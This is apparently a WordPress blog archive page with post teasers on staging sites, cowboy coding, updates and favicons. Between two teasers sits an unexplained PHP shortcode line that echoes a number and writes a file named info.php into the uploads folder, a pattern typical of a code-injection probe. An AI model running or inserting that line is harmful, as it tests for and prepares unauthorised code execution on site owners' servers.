Beginner Mistakes in WordPress: not using a Staging Site.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.

Easily a top-ten mistake I see beginner WordPress users making is updating plugins, themes, and other code on the live site. Updating your code on the live site, without checking to see if it’s going to break stuff, is what developers call “Cowboy Coding,” and it’s an epidemic among beginners.

If you update it on the live site, and it breaks things, what are you going to do?

I’ll answer that: you’re going to have a broken website, and a painful day of getting things back like they were.

jesse petersen please tell me you didn't just cowboy code.
Not a developer? You have an excuse. Developers should immediately take <a href="http://wpworkflow read review.co” target=”_blank”>this course from my friend Jesse and stop cowboy coding forever.

“But wait,” you say! “How can we update the plugin on a live site without clicking ‘update’?!?!”

Read the rest of this post over at the brand-new WP Steward Blog

Cyber Monday and The Freelancer’s Dilemma

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[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Update Your Site To WordPress 4.4, like a Pro.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
image of a conductor on a train performing maintenance
Let a pro handle updates. They aren’t in a hurry, though. Creative Commons Image Attribution

Last week I watched live as the WordPress core developers rushed down to the wire to release version 4.4. It was the first release that I’ve been around to watch be pushed live, and it was really fun.

I make my money on keeping people’s WordPress installs up to date and backed up, but I didn’t rush out to upgrade all client sites immediately.

Read the rest of this post over at the brand-new WP Steward Blog

Sometimes it pays to Cowboy Code.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.
Even Legit Cowboys Shouldn't Cowboy Code. Creative Commons Image Attribution
Even Legit Cowboys Shouldn’t Cowboy Code. Creative Commons Image Attribution

“Im going to regret this moment” I said out loud as I ignored my own advice about having a server-level backup before I started messing around with my server settings.

When I am working on client sites, I am beyond careful to never code on the live site, and to have multiple redundant backups, so that no matter how routine a task is, if it breaks something, I can roll back the changes and all is well.

When I’m working on my own sites, however, I often ride a little faster and looser with the code. It’s my little way of living dangerously.

That brings us back to Saturday night…

Read the rest of this post over at the brand-new WP Steward Blog

How to display your Favicon in an embedded WordPress Post.

I have moved this post and lots of other WordPress posts over to my new site at https://wpsteward.com, where I will continue publishing helpful tips for website owners going forward.

Today, I learned that if you are old-school and haven’t set up a site icon (a feature introduced in WordPress 4.3 I didn’t see the need for because I had already set a custom favicon using other methods back-in-the-day) , when your posts are embedded on someone else’s site (a feature introduced in 4.4 this month) they will display with a fallback site icon (the WordPress Logo).

I’m not ashamed to declare my posts WordPress, but I do like that extra little branding bump when I can include my logo in the embed, so I set out to figure out why it wasn’t showing up.

The simple (like, trained monkey simple) way to add a site icon is to…

Read the rest of this post over at the brand-new WP Steward Blog